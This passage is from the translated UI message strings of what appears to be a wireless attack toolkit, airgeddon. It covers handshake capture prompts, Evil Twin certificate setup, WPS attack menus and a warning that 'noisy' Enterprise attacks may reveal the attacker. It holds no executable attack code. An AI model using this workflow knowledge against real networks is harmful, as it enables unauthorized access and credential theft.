\${normal_color}\${visual_choice}" arr["POLISH",321]="Czy masz już przechwycony plik Handshake? \${blue_color}Odpowiedz tak (\"y\") aby wprowadzić ścieżkę lub odpowiedz nie (\"n\"), aby spróbować przechwycić go teraz \${normal_color}\${visual_choice}" arr["GERMAN",321]="Haben Sie bereits eine erfasste Handshake-Datei? \${blue_color} Ja beantworten (\"y\"), um den Pfad einzugeben oder antworten Sie mit Nein (\"n\"), um jetzt einen zu erfassen \${normal_color}\${visual_choice}" arr["TURKISH",321]="Yakalanmış bir Handshake dosyası var mı? \${blue_color}Evet ise (\"y\") dizini girin ya da cevap hayır ise (\"n\") yenisini yakalayın \${normal_color}\${visual_choice}" arr["ARABIC",321]="\${normal_color}\${visual_choice}\${blue_color} لالتقاط واحد جديد الآن (\"n\") لإدخال المسار أو أجب بلا (\"y\") أجب بنعم \${green_color}تم التقاطه؟ Handshake هل لديك بالفعل ملف\${normal_color}" arr["CHINESE",321]="您已经有捕获的握手包文件了吗? \${blue_color}回答 yes (\"y\") 输入握手包路径或回答 no (\"n\") 现在捕获一个握手包 \${normal_color}\${visual_choice}" arr["ENGLISH",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["SPANISH",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." arr["FRENCH",322]="Un Handhsake du réseau cible a bien été retrouvé dans le paquet de capture préalablement choisi. Le script peut donc continuer..." arr["CATALAN",322]="S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." arr["PORTUGUESE",322]="Verificou-se que no arquivo de captura existe um Handshake da rede da selecionada como o alvo. O script pode continuar..." arr["RUSSIAN",322]="Проверка подтвердила, что рукопожатие относится к выбранной целевой сети. Скрипт может продолжать..." arr["GREEK",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",322]="É stato riscontrato che c'è un Handshake della rete scelta como obiettivo durante la esplorazione del file di cattura selezionato. Lo script può continuare..." arr["POLISH",322]="Potwierdzono, że w wybranum pliku przechytywania jest plik Handshake z sieci docelowej. Skrypt może kontynuować..." arr["GERMAN",322]="Es wurde überprüft, dass beim Scannen in der ausgewählten Aufnahmedatei ein Handshake des Netzwerks als Ziel ausgewählt wurde. Das Skript kann fortfahren..." arr["TURKISH",322]="Seçilen çekim dosyasını kontrol ederken seçilen hedef ağın bir Handshake olduğunu kontrol edilmiştir. Yazılım devam edebilir..." arr["ARABIC",322]="...للشبكة المستهدفة المختارة أثناء فحص ملف الالتقاط المحدد. البرنامج يمكن أن يستمر Handshake تم التحقق من وجود" arr["CHINESE",322]="已发现所选的捕获文件包含目标网络的握手包。脚本可以继续..." arr["ENGLISH",323]="There is no Handshake/PMKID of the selected network on the capture file" arr["SPANISH",323]="No se ha encontrado un Handshake/PMKID de la red seleccionada en el fichero de captura" arr["FRENCH",323]="Aucun Handshake/PMKID du réseau cible n'a été retrouvé dans le fichier de captures" arr["CATALAN",323]="No s'ha trobat un Handshake/PMKID de la xarxa seleccionada en el fitxer de captura" arr["PORTUGUESE",323]="Não foi encontrado nenhum Handshake/PMKID da rede selecionada no arquivo de captura" arr["RUSSIAN",323]="В файле захвата отсутствует рукопожатие/PMKID выбранной сети" arr["GREEK",323]="Δεν υπάρχει Χειραψία/PMKID του επιλεγμένου δικτύου στο αρχείο καταγραφής" arr["ITALIAN",323]="Non è stato trovato una Handshake/PMKID della rete selezionata nel file di acquisizione" arr["POLISH",323]="Nie znaleziono pliku Handshake/PMKID z wybranej sieci w pliku przechwytywania" arr["GERMAN",323]="Ein Handshake/PMKID des ausgewählten Netzwerks wurde in der Erfassungsdatei nicht gefunden" arr["TURKISH",323]="Yakalama dosyasında seçilen ağın bir Handshake/PMKID'i yok" arr["ARABIC",323]="للشبكة المحددة في ملف الالتقاط Handshake/PMKID لا يوجد" arr["CHINESE",323]="捕获文件中没有所选网络的握手包/PMKID" arr["ENGLISH",324]="Capture file generated successfully at [\${normal_color}\${et_handshake}\${blue_color}]" arr["SPANISH",324]="Fichero de captura generado con éxito en [\${normal_color}\${et_handshake}\${blue_color}]" arr["FRENCH",324]="Fichier de capture généré avec succès dans [\${normal_color}\${et_handshake}\${blue_color}]" arr["CATALAN",324]="Fitxer de captura generat amb èxit a [\${normal_color}\${et_handshake}\${blue_color}]" arr["PORTUGUESE",324]="Arquivo de captura gerado com sucesso [\${normal_color}\${et_handshake}\${blue_color}]" arr["RUSSIAN",324]="Файл с захваченными пакетами успешно создан в [\${normal_color}\${et_handshake}\${blue_color}]" arr["GREEK",324]="Το αρχείο καταγραφής δημιουργήθηκε επιτυχώς στο [\${normal_color}\${et_handshake}\${blue_color}]" arr["ITALIAN",324]="File di cattura generato con successo in [\${normal_color}\${et_handshake}\${blue_color}]" arr["POLISH",324]="Plik przechwytywania został pomyślnie wygenerowany w [\${normal_color}\${et_handshake}\${blue_color}]" arr["GERMAN",324]="Capture-Datei wurde erfolgreich in [\${normal_color}\${et_handshake}\${blue_color}] generiert" arr["TURKISH",324]="Yakalama dosyası burada: [\${normal_color}\${et_handshake}\${blue_color}] başarıyla oluşturuldu" arr["ARABIC",324]="[\${normal_color}\${et_handshake}\${blue_color}] تم إنشاء ملف الالتقاط بنجاح في" arr["CHINESE",324]="在 [\${normal_color}\${et_handshake}\${blue_color}] 成功生成捕获文件" arr["ENGLISH",325]="Wait. Be patient..." arr["SPANISH",325]="Espera. Ten un poco de paciencia..." arr["FRENCH",325]="Ayez un peu de patience s'il vous plait..." arr["CATALAN",325]="Espera. Tingues una mica de paciència..." arr["PORTUGUESE",325]="Aguarde. Por favor, seja paciente..." arr["RUSSIAN",325]="Пожалуйста, подождите..." arr["GREEK",325]="Περιμένετε. Έχετε λίγη υπομονή..." arr["ITALIAN",325]="Aspetta. Devi avere un pò di pazienza..." arr["POLISH",325]="Czekaj cierpliwie..." arr["GERMAN",325]="Bitte warten. Wir bitten um ein wenig Geduld..." arr["TURKISH",325]="Bekleyin. Lütfen sabırlı olun..." arr["ARABIC",325]="...انتظر. كن صبورا" arr["CHINESE",325]="请稍等。要有耐心..." arr["ENGLISH",326]="Certificates are invalid or expired, so the attack can't be performed" arr["SPANISH",326]="Los certificados no son válidos o están caducados, por lo que el ataque no se puede realizar" arr["FRENCH",326]="Les certificats ne sont pas valides ou ont expiré. Donc l'attaque ne peut pas être effectuée" arr["CATALAN",326]="Els certificats no són vàlids o estan caducats, de manera que l'atac no es pot realitzar" arr["PORTUGUESE",326]="Os certificados são inválidos ou expiraram, o ataque não pode ser executado" arr["RUSSIAN",326]="Сертификаты недействительны или устарели, поэтому атака не может быть выполнена" arr["GREEK",326]="Τα certificates είναι άκυρα ή έχουν λήξει, οπότε η επίθεση δεν μπορεί να εκτελεστεί" arr["ITALIAN",326]="I certificati non sono validi o sono scaduti, quindi l'attacco non può essere eseguito" arr["POLISH",326]="Certyfikaty są nieprawidłowe lub nieaktualne, więc nie można wykonać ataku" arr["GERMAN",326]="Zertifikate sind ungültig oder veraltet, also kann der Angriff nicht ausgeführt werden" arr["TURKISH",326]="Sertifikalar geçersiz veya eski, bu nedenle saldırı gerçekleştirilemiyor" arr["ARABIC",326]="الشهادات غير صالحة أو منتهية الصلاحية ، لذا لا يمكن تنفيذ الهجوم" arr["CHINESE",326]="您的证书无效或过期,因此无法执行攻击" arr["ENGLISH",327]="Enter the directory path where the certificates files are located. \${blue_color}Make sure that the ca.pem, server.pem and server.key files exist in the given path:" arr["SPANISH",327]="Introduce la ruta del directorio donde se encuentran los ficheros de los certificados. \${blue_color}Asegúrate de que los ficheros ca.pem, server.pem y server.key existen en la ruta indicada:" arr["FRENCH",327]="Entrez le chemin du répertoire dans lequel se trouvent les fichiers du certificats. \${blue_color}Assurez-vous que les fichiers ca.pem, server.pem et server.key existent dans le chemin indiqué:" arr["CATALAN",327]="Introdueix la ruta del directori on es troben els fitxers dels certificats. \${blue_color}Assegura't que els fitxers ca.pem, server.pem i server.key existeixen a la ruta indicada:" arr["PORTUGUESE",327]="Digite o caminho do diretório onde os arquivos de certificado estão localizados. \${blue_color}Certifique-se de que os arquivos ca.pem, server.pem e server.key existam no caminho indicado:" arr["RUSSIAN",327]="Введите путь к каталогу, в котором находятся файлы сертификатов. \${blue_color}Убедитесь, что файлы ca.pem, server.pem и server.key существуют по указанному пути:" arr["GREEK",327]="Εισάγετε τη διαδρομή καταλόγου όπου βρίσκονται τα αρχεία certificates. \${blue_color}Βεβαιωθείτε ότι τα αρχεία ca.pem, server.pem και server.key υπάρχουν στην υποδεικνυόμενη διαδρομή:" arr["ITALIAN",327]="Immettere il percorso della directory in cui si trovano i files del certificato. \${blue_color}Assicurati che i file ca.pem, server.pem e server.key esistano nel percorso indicato:" arr["POLISH",327]="Wprowadź ścieżkę do katalogu, w którym znajdują się pliki certyfikatów. \${blue_color}Upewnij się, że pliki ca.pem, server.pem i server.key istnieją we wskazanej ścieżce:" arr["GERMAN",327]="Geben sie den Verzeichnispfad ein, in dem sich die Zertifikatdateien befinden. \${blue_color}Stellen Sie sicher, dass die Dateien ca.pem, server.pem und server.key im angegebenen Pfad vorhanden sind:" arr["TURKISH",327]="Sertifika dosyalarının bulunduğu dizin yolunu girin. \${blue_color}ca.pem, server.pem ve server.key dosyalarının belirtilen yolda bulunduğundan emin olun:" arr["ARABIC",327]="\${blue_color}:في المسار المحدد server.key و server.pem و ca.pem تأكد من وجود ملفات \${blue_color}.أدخل مسار الدليل حيث توجد ملفات الشهادات" arr["CHINESE",327]="请输入证书文件所在的目录路径。\${blue_color}确保给定路径中存在 ca.pem、server.pem 和 server.key 文件:" arr["ENGLISH",328]="The only Evil Twin attack in which it's not necessary to have an additional interface with internet access is the captive portal attack" arr["SPANISH",328]="El único ataque de Evil Twin en el que no es necesario tener una interfaz adicional con acceso a internet es el del portal cautivo" arr["FRENCH",328]="La seule attaque Evil Twin pour laquelle il n'est pas nécessaire d'avoir une interface supplémentaire connectée à internet est l'attaque du portail captif" arr["CATALAN",328]="L'únic atac d'Evil Twin en què no cal tenir una interfície addicional amb accés a internet és el del portal captiu" arr["PORTUGUESE",328]="O único ataque Evil Twin em que não é necessário ter uma interface adicional com acesso à internet é o portal cativo" arr["RUSSIAN",328]="Уникальная атака Злой Двойник, при которой необязательно иметь дополнительный интерфейс с доступом в Интернет для атаки Перехватывающим Порталом" arr["GREEK",328]="Η μόνη επίθεση Evil Twin στην οποία δεν είναι απαραίτητο να έχετε επιπλέον διεπαφή με πρόσβαση στο διαδίκτυο είναι η επίθεση με captive portal" arr["ITALIAN",328]="L'unico attacco di tipo Evil Twin in cui non è necessario avere un'interfaccia supplementare con accesso a internet è quello con captive portal" arr["POLISH",328]="Jedynym atakiem Evil Twin, w którym nie ma konieczności dodatkowego interfejsu z dostępem do internetu, jest atak Captive Portal" arr["GERMAN",328]="Der einzige Angriff von Evil Twin, bei dem keine zusätzliche Interface zum Internetzugang benötigt wird, ist die des Captive-Portals" arr["TURKISH",328]="İnternet erişimi olan ek bir arayüze sahip olmanın gerekli olmadığı benzersiz Şeytani İkiz saldırısı, esaret portalı saldırısıdır" arr["ARABIC",328]="الفريد الذي لا يلزم فيه وجود واجهة إضافية متصلة بالإنترنت هو هجوم البوابة الأسيرة Evil Twin هجوم" arr["CHINESE",328]="独特的邪恶双胞胎 (Evil Twin) 攻击不需要额外的网络接口来进行强制门户攻击" arr["ENGLISH",329]="Enter the password used during the creation of the certificate files. \${blue_color}Remember that if they were generated using airgeddon, the used password was \${normal_color}\"airgeddon\"\${blue_color}:" arr["SPANISH",329]="Introduce la contraseña utilizada en la creación de los ficheros de los certificados. \${blue_color}Recuerda que si fueron generados con airgeddon, la contraseña que se utilizó fue \${normal_color}\"airgeddon\"\${blue_color}:" arr["FRENCH",329]="Entrez le mot de passe utilisé lors de la création des fichiers des certificats. \${blue_color}N'oubliez pas que s'ils ont été générés avec airgeddon, le mot de passe utilisé était \${normal_color}\"airgeddon\"\${blue_color}:" arr["CATALAN",329]="Introdueix la contrasenya utilitzada en la creació dels fitxers dels certificats. \${blue_color}Recorda que si van ser generats amb airgeddon, la contrasenya que es va utilitzar va ser \${normal_color}\"airgeddon\"\${blue_color}:" arr["PORTUGUESE",329]="Digite a senha usada na criação dos arquivos de certificado. \${blue_color}Lembre-se de que, se eles foram gerados com airgeddon, a senha usada foi \${normal_color}\"airgeddon\"\${blue_color}:" arr["RUSSIAN",329]="Введите пароль, использованный при создании файлов сертификата. \${blue_color}Помните, что если они были созданы с помощью airgeddon, то использовался пароль \${normal_color}\"airgeddon\"\${blue_color}:" arr["GREEK",329]="Καταχωρίστε τον κωδικό πρόσβασης που χρησιμοποιήθηκε κατά δημιουργία των αρχείων certificates. \${blue_color}Να θυμάστε ότι αν δημιουργήθηκαν με airgeddon, ο κωδικός που χρησιμοποιήθηκε ήταν \${normal_color}\"airgeddon\"\${blue_color}:" arr["ITALIAN",329]="Immettere la password utilizzata durante la creazione dei files del certificato. \${blue_color}Ricorda che se sono stati generati con airgeddon, la password utilizzata era \${normal_color}\"airgeddon\"\${blue_color}:" arr["POLISH",329]="Wprowadź hasło użyte przy tworzeniu plików certyfikatów. \${blue_color}Pamiętaj, że jeśli zostały wygenerowane za pomocą airgeddon, użyte hasło to \${normal_color}\"airgeddon\"\${blue_color}:" arr["GERMAN",329]="Geben sie das Kennwort ein, das bei der Erstellung der Zertifikatdateien verwendet wurde. \${blue_color}Vergessen Sie nicht, dass das verwendete Passwort \${normal_color}\"airgeddon\"\${blue_color} lautet, wenn sie mit airgeddon generiert wurden:" arr["TURKISH",329]="Sertifika dosyalarının oluşturulmasında kullanılan şifreyi girin. \${blue_color}Unutmayın ki bunlar airgeddon ile oluşturulduysa, \${normal_color}\"airgeddon\"\${blue_color} kullanılan parolaydı:" arr["ARABIC",329]="\${normal_color}\"airgeddon\"\${blue_color} :إن كلمة المرور المستخدمة كانت .airgeddon تذكر أنه إذا تم إنشاؤها باستخدام \${green_color}.أدخل كلمة السرالمستخدمة عند إنشاء ملفات الشهادت\${blue_color}" arr["CHINESE",329]="请输入在创建证书文件时使用的密码。\${blue_color}请记住,如果它们是使用 airgeddon 生成的,则初始密码为 \${normal_color}\"airgeddon\"\${blue_color}:" arr["ENGLISH",330]="Private key is invalid or the password is wrong, so the attack can't be performed" arr["SPANISH",330]="La clave privada no es válida o la contraseña es errónea, por lo que el ataque no se puede realizar" arr["FRENCH",330]="La clé privée n'est pas valide ou le mot de passe est incorrect. Donc l'attaque ne peut pas être effectuée" arr["CATALAN",330]="La clau privada no és vàlida o la contrasenya és errònia, de manera que l'atac no es pot realitzar" arr["PORTUGUESE",330]="Sua chave privada não é válida ou a senha está errada, o ataque não pode ser executado" arr["RUSSIAN",330]="Закрытый ключ неверен или пароль неверен, поэтому атака не может быть выполнена" arr["GREEK",330]="Το ιδιωτικό κλειδί δεν είναι έγκυρο ή ο κωδικός πρόσβασης είναι λάθος, επομένως η επίθεση δεν μπορεί να εκτελεστεί" arr["ITALIAN",330]="La chiave privata non è valida o la password è errata, quindi l'attacco non può essere eseguito" arr["POLISH",330]="Klucz prywatny jest nieprawidłowy lub hasło jest błędne, więc nie można wykonać ataku" arr["GERMAN",330]="Der private Schlüssel ist ungültig oder das Passwort ist falsch, also kann der Angriff nicht ausgeführt werden" arr["TURKISH",330]="Özel anahtar geçersiz veya şifre yanlış, bu nedenle saldırı gerçekleştirilemiyor" arr["ARABIC",330]="المفتاح الخاص غير صالح أو كلمة المرور خاطئة ، لذلك لا يمكن تنفيذ الهجوم" arr["CHINESE",330]="私钥无效或密码错误,无法进行攻击" arr["ENGLISH",331]="10. German" arr["SPANISH",331]="10. Alemán" arr["FRENCH",331]="10. Allemand" arr["CATALAN",331]="10. Alemany" arr["PORTUGUESE",331]="10. Alemão" arr["RUSSIAN",331]="10. Немецкий" arr["GREEK",331]="10. Γερμανικά" arr["ITALIAN",331]="10. Tedesco" arr["POLISH",331]="10. Niemiecki" arr["GERMAN",331]="10. Deutsch" arr["TURKISH",331]="10. Almanca" arr["ARABIC",331]="10. الألمانية" arr["CHINESE",331]="10. 德语" arr["ENGLISH",332]="Before launching an attack against an Enterprise network, bear in mind that \"noisy\" mode will cause legitimate clients stuck trying to authenticate over and over again on the fake network. This could raise suspicions and you could be easily discovered" arr["SPANISH",332]="Antes de lanzar un ataque contra una red Enterprise, ten en cuenta que el modo \"noisy\" dejará a los clientes legítimos atrapados intentando autenticarse una y otra vez contra la red falsa. Esto podría levantar sospechas y podrías ser descubierto fácilmente" arr["FRENCH",332]="Avant d'efectuer une attaque contre un réseau entreprise, gardez à l'esprit que le mode \"noisy\" faira des clients légitimes piégés en s'authentifier encore et encore contre le faux réseau. Ça pourrait susciter des soupçons et pourrait être facilement découvert" arr["CATALAN",332]="Abans de llançar un atac contra una xarxa Enterprise, tingues en compte que el mode \"noisy\" deixarà als clients legítims atrapats intentant autenticar una vegada i un altra contra la xarxa falsa. Això podria aixecar sospites i podries ser descobert fàcilment" arr["PORTUGUESE",332]="Antes de iniciar um ataque contra uma rede Enterprise, lembre-se de que o \"modo agressivo\" fará com que os clientes legítimos falhem repetidas vezes ao se autenticar com a rede falsa. Isso pode levantar suspeitas e o ataque pode ser facilmente descoberto" arr["RUSSIAN",332]="Прежде чем приступать к атаке на корпоративную сеть, имейте в виду, что режим \"noisy\" приведёт к тому, что законные клиенты будут пытаться аутентифицироваться снова и снова в поддельной сети. Это может вызвать подозрения, и вас можно легко обнаружить" arr["GREEK",332]="Πριν ξεκινήσετε μια επίθεση σε ένα δίκτυο Enterprise, λάβετε υπόψη σας ότι το \"noisy\" mode θα προκαλέσει την παραμονή των πελατών που προσπαθούν να επαληθευθούν ξανά και ξανά στο πλαστό δίκτυο. Αυτό θα μπορούσε να προκαλέσει υποψίες και θα μπορούσε εύκολα να ανακαλυφθεί" arr["ITALIAN",332]="Prima di lanciare un attacco contro una rete Enterpise, tieni presente che la modalità \"noisy\" lascierá i clienti legittimi intrappolati cercando di eseguire ripetutamente l'autenticazione contro la rete falsa. Questo potrebbe sollevare sospetti e potrebbe essere facilmente scoperto" arr["POLISH",332]="Przed rozpoczęciem ataku na sieć Enterprise należy pamiętać, że tryb \"noisy\" uniemożliwi legalnym klientom próbę ponownego uwierzytelnienia się w fałszywej sieci. Może to wzbudzić podejrzenia i jest łatwe do wykrycia" arr["GERMAN",332]="Beachten Sie vor dem Starten eines Angriffs auf ein Enterprise-Netzwerk, dass der \"noisy\" Modus legitime Clients daran hindert, sich immer wieder gegen das gefälschte Netzwerk zu authentifizieren. Dies könnte zu Misstrauen führen und könnte leicht entdeckt werden" arr["TURKISH",332]="Kurumsal bir ağa karşı saldırı başlatmadan önce, \"noisy\" modun meşru istemcilerin sahte ağa karşı tekrar ve tekrar kimlik doğrulamaya çalışacağını unutmayın. Bu şüpheli gözükebilir ve kolayca keşfedilebilir" arr["ARABIC",332]="سيؤدي إلى توقف الزبناء الشرعيين عن محاولة المصادقة مرارًا وتكرارًا على الشبكة المزيفة. هذا يمكن أن يثير الشكوك ويمكن أن تكتشف بسهولة \"noisy\" ضع في اعتبارك أن الوضع،Enterprise قبل شن هجوم على شبكة" arr["CHINESE",332]="在对企业级加密的网络发起攻击之前,请记住“嘈杂”模式会导致合法客户端在虚假网络上一遍又一遍地尝试进行身份验证。这可能会引起怀疑,您很容易被发现" arr["ENGLISH",333]="8. WPS attacks menu" arr["SPANISH",333]="8. Menú de ataques WPS" arr["FRENCH",333]="8. Menu d'attaques WPS" arr["CATALAN",333]="8. Menú d'atacs WPS" arr["PORTUGUESE",333]="8. Menu de ataques WPS" arr["RUSSIAN",333]="8. Меню атак на WPS" arr["GREEK",333]="8. Μενού επιθέσεων WPS" arr["ITALIAN",333]="8. Menú degli attacchi WPS" arr["POLISH",333]="8. Menu ataków WPS" arr["GERMAN",333]="8. WPS-Angriffsmenü" arr["TURKISH",333]="8. WPS saldırı menüsü" arr["ARABIC",333]="8. WPS قائمة هجمات" arr["CHINESE",333]="8. WPS 攻击菜单" arr["ENGLISH",334]="WPS attacks menu" arr["SPANISH",334]="Menú de ataques WPS" arr["FRENCH",334]="Menu d'attaques WPS" arr["CATALAN",334]="Menú d'atacs WPS" arr["PORTUGUESE",334]="Menu de ataques WPS" arr["RUSSIAN",334]="Меню атак на WPS" arr["GREEK",334]="Μενού επιθέσεων WPS" arr["ITALIAN",334]="Menú degli attacchi WPS" arr["POLISH",334]="Menu ataków WPS" arr["GERMAN",334]="WPS-Angriffsmenü" arr["TURKISH",334]="WPS saldırı menüsü" arr["ARABIC",334]="WPS قائمة هجمات" arr["CHINESE",334]="WPS 攻击菜单" arr["ENGLISH",335]="Selected WPS BSSID: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["SPANISH",335]="BSSID WPS seleccionado: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["FRENCH",335]="BSSID WPS sélectionné: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["CATALAN",335]="BSSID WPS seleccionat: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["PORTUGUESE",335]="BSSID WPS selecionado: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["RUSSIAN",335]="Выбран WPS BSSID: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["GREEK",335]="Επιλεγμένο WPS BSSID: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["ITALIAN",335]="BSSID WPS selezionato: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["POLISH",335]="Wybrano BSSID WPS: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["GERMAN",335]="Ausgewählte WPS BSSID: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["TURKISH",335]="WPS BSSID seçildi: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["ARABIC",335]="\${brown_color}(\${selected_network_type_text}) \${pink_color}\${wps_bssid}\${blue_color} :المختار WPS BSSID\${normal_color}" arr["CHINESE",335]="已选择的 WPS BSSID: \${pink_color}\${wps_bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["ENGLISH",336]="Selected WPS channel: \${pink_color}\${wps_channel}\${normal_color}" arr["SPANISH",336]="Canal WPS seleccionado: \${pink_color}\${wps_channel}\${normal_color}" arr["FRENCH",336]="Canal WPS sélectionné: \${pink_color}\${wps_channel}\${normal_color}" arr["CATALAN",336]="Canal WPS seleccionat: \${pink_color}\${wps_channel}\${normal_color}" arr["PORTUGUESE",336]="Canal WPS selecionado: \${pink_color}\${wps_channel}\${normal_color}" arr["RUSSIAN",336]="Выбран WPS канал: \${pink_color}\${wps_channel}\${normal_color}" arr["GREEK",336]="Επιλεγμένο WPS κανάλι: \${pink_color}\${wps_channel}\${normal_color}" arr["ITALIAN",336]="Canale WPS selezionato: \${pink_color}\${wps_channel}\${normal_color}" arr["POLISH",336]="Wybrano kanał WPS: \${pink_color}\${wps_channel}\${normal_color}" arr["GERMAN",336]="Ausgewählter WPS-Kanal: \${pink_color}\${wps_channel}\${normal_color}" arr["TURKISH",336]="WPS kanal seçildi: \${pink_color}\${wps_channel}\${normal_color}" arr["ARABIC",336]="\${pink_color}\${wps_channel}\${blue_color} :المختارة WPS قناة\${normal_color}" arr["CHINESE",336]="当前 WPS 信道: \${pink_color}\${wps_channel}\${normal_color}" arr["ENGLISH",337]="Selected WPS ESSID: \${pink_color}\${wps_essid}\${blue_color} <- can't be used" arr["SPANISH",337]="ESSID WPS seleccionado: \${pink_color}\${wps_essid}\${blue_color} <- no se puede usar" arr["FRENCH",337]="ESSID WPS sélectionné: \${pink_color}\${wps_essid}\${blue_color} <- ne peut pas être utilisé" arr["CATALAN",337]="ESSID WPS seleccionat: \${pink_color}\${wps_essid}\${blue_color} <- no es pot utilitzar" arr["PORTUGUESE",337]="ESSID WPS selecionado: \${pink_color}\${wps_essid}\${blue_color} <- não pode ser utilizado" arr["RUSSIAN",337]="Выбран WPS ESSID: \${pink_color}\${wps_essid}\${blue_color} <- не может использоваться" arr["GREEK",337]="Επιλεγμένο WPS ESSID: \${pink_color}\${wps_essid}\${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",337]="ESSID WPS selezionato: \${pink_color}\${wps_essid}\${blue_color} <- non può essere utilizzato" arr["POLISH",337]="Wybrano WPS ESSID: \${pink_color}\${wps_essid}\${blue_color} <- nie można użyć" arr["GERMAN",337]="Ausgewählte ESSID WPS: \${pink_color}\${wps_essid}\${blue_color} <- kann nicht verwendet werden" arr["TURKISH",337]="WPS ESSID seçildi: \${pink_color}\${wps_essid}\${blue_color} <- kullanılamaz" arr["ARABIC",337]="\${blue_color}لا يمكن استخدامها -> \${pink_color}\${wps_essid}\${blue_color} :المختار ESSID WPS" arr["CHINESE",337]="已选择的 WPS ESSID: \${pink_color}\${wps_essid}\${blue_color} <- 不能使用" arr["ENGLISH",338]="Selected WPS ESSID: \${pink_color}\${wps_essid}\${normal_color}" arr["SPANISH",338]="ESSID WPS seleccionado: \${pink_color}\${wps_essid}\${normal_color}" arr["FRENCH",338]="ESSID WPS sélectionné: \${pink_color}\${wps_essid}\${normal_color}" arr["CATALAN",338]="ESSID WPS seleccionat: \${pink_color}\${wps_essid}\${normal_color}" arr["PORTUGUESE",338]="ESSID WPS selecionado: \${pink_color}\${wps_essid}\${normal_color}" arr["RUSSIAN",338]="Выбран WPS ESSID: \${pink_color}\${wps_essid}\${normal_color}" arr["GREEK",338]="Επιλεγμένο WPS ESSID: \${pink_color}\${wps_essid}\${normal_color}" arr["ITALIAN",338]="ESSID WPS selezionato: \${pink_color}\${wps_essid}\${normal_color}" arr["POLISH",338]="Wybrano WPS ESSID: \${pink_color}\${wps_essid}\${normal_color}" arr["GERMAN",338]="Ausgewählte ESSID WPS: \${pink_color}\${wps_essid}\${normal_color}" arr["TURKISH",338]="WPS ESSID seçildi: \${pink_color}\${wps_essid}\${normal_color}" arr["ARABIC",338]="\${pink_color}\${wps_essid}\${blue_color} :المختار ESSID WPS\${normal_color}" arr["CHINESE",338]="已选择的 WPS ESSID: \${pink_color}\${wps_essid}\${normal_color}" arr["ENGLISH",339]="Selected WPS BSSID: \${pink_color}None\${normal_color}" arr["SPANISH",339]="BSSID WPS seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",339]="BSSID WPS sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",339]="BSSID WPS seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",339]="BSSID WPS selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",339]="Выбран WPS BSSID: \${pink_color}Нет\${normal_color}" arr["GREEK",339]="Επιλεγμένο WPS BSSID: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",339]="BSSID WPS selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",339]="Wybrano WPS BSSID: \${pink_color}Brak\${normal_color}" arr["GERMAN",339]="Ausgewählte BSSID WPS: \${pink_color}Keines\${normal_color}" arr["TURKISH",339]="WPS BSSID seçildi: \${pink_color}None\${normal_color}" arr["ARABIC",339]="\${pink_color}None\${blue_color}:المختار WPS BSSID\${normal_color}" arr["CHINESE",339]="已选择的 WPS BSSID: \${pink_color}None\${normal_color}" arr["ENGLISH",340]="Selected WPS channel: \${pink_color}None\${normal_color}" arr["SPANISH",340]="Canal WPS seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",340]="Canal WPS sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",340]="Canal WPS seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",340]="Canal WPS selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",340]="Выбран WPS канал: \${pink_color}Нет\${normal_color}" arr["GREEK",340]="Επιλεγμένο WPS κανάλι: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",340]="Canale WPS selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",340]="Wybrano kanał WPS: \${pink_color}Brak\${normal_color}" arr["GERMAN",340]="Ausgewählter WPS-Kanal: \${pink_color}Keinen\${normal_color}" arr["TURKISH",340]="WPS kanal seçildi: \${pink_color}None\${normal_color}" arr["ARABIC",340]="\${pink_color}None\${blue_color} :المختارة WPS قناة\${normal_color}" arr["CHINESE",340]="已选择的 WPS 信道: \${pink_color}None\${normal_color}" arr["ENGLISH",341]="Selected WPS ESSID: \${pink_color}None\${normal_color}" arr["SPANISH",341]="ESSID WPS seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",341]="ESSID WPS sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",341]="ESSID WPS seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",341]="ESSID WPS selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",341]="Выбран WPS ESSID: \${pink_color}Нет\${normal_color}" arr["GREEK",341]="Επιλεγμένο WPS ESSID: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",341]="ESSID WPS selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",341]="Wybrano WPS ESSID: \${pink_color}Brak\${normal_color}" 